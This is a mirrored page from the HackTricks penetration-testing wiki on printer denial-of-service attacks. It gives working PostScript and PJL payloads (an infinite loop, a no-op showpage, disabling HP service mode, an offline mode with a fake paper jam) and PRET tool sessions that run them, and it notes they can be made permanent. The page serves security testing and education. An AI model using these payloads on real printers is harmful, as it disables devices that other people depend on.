mirror of
https://github.com/carlospolop/hacktricks
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130 lines
4.9 KiB
Markdown
130 lines
4.9 KiB
Markdown
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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# Document Processing
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Page description languages allowing infinite loops or calculations that require a lot of computing time. Even minimalist languages like [PCL](http://hacking-printers.net/wiki/index.php/PCL) can be used to upload permanent macros or fonts until the available memory is consumed.
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## PostScript
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### Infinite loops
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```
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%!
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{} loop
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```
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Using [PRET](https://github.com/RUB-NDS/PRET):
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```
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./pret.py -q printer ps
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Connection to printer established
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Welcome to the pret shell. Type help or ? to list commands.
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printer:/> hang
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Warning: This command causes an infinite loop rendering the
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device useless until manual restart. Press CTRL+C to abort.
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Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
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```
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### Redefine showpage
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By setting `showpage` – which is used in every document to actually print the page – to do nothing at all, PostScript jobs are processed they won't print anything.
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```
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true 0 startjob
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/showpage {} def
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```
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Using [PRET](https://github.com/RUB-NDS/PRET):
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```
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./pret.py -q printer ps
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Connection to printer established
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Welcome to the pret shell. Type help or ? to list commands.
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printer:/> disable
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Disabling printing functionality
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```
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Both attacks code can also be written into Sys/Start, startup.ps or similar files to cause **permanent DoS** on devices with a writable disk.
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## PJL
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### PJL jobmedia
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Proprietary PJL commands can be used to set the older HP devices like the LaserJet 4k series into service mode and completely disable all printing functionality as shown below:
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```
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@PJL SET SERVICEMODE=HPBOISEID
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@PJL DEFAULT JOBMEDIA=OFF
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```
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Using [PRET](https://github.com/RUB-NDS/PRET):
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```
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./pret.py -q printer pjl
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Connection to printer established
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Welcome to the pret shell. Type help or ? to list commands.
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printer:/> disable
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Printing functionality: OFF
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```
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### Offline mode
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In addition, the PJL standard defines the `OPMSG` command which ‘prompts the printer to display a specified message and go offline’ \cite{hp1997pjl}. This can be used to simulate a paper jam as shown in below:
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```
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@PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"
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```
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Using [PRET](https://github.com/RUB-NDS/PRET):
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```
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./pret.py -q printer pjl
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Connection to printer established
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Welcome to the pret shell. Type help or ? to list commands.
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printer:/> offline "MESSAGE TO DSIPLAY"
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Warning: Taking the printer offline will prevent yourself and others
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from printing or re-connecting to the device. Press CTRL+C to abort.
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Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM!
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```
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**Learn more about these attacks in** [**http://hacking-printers.net/wiki/index.php/Document\_processing**](http://hacking-printers.net/wiki/index.php/Document\_processing)
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
||
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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|
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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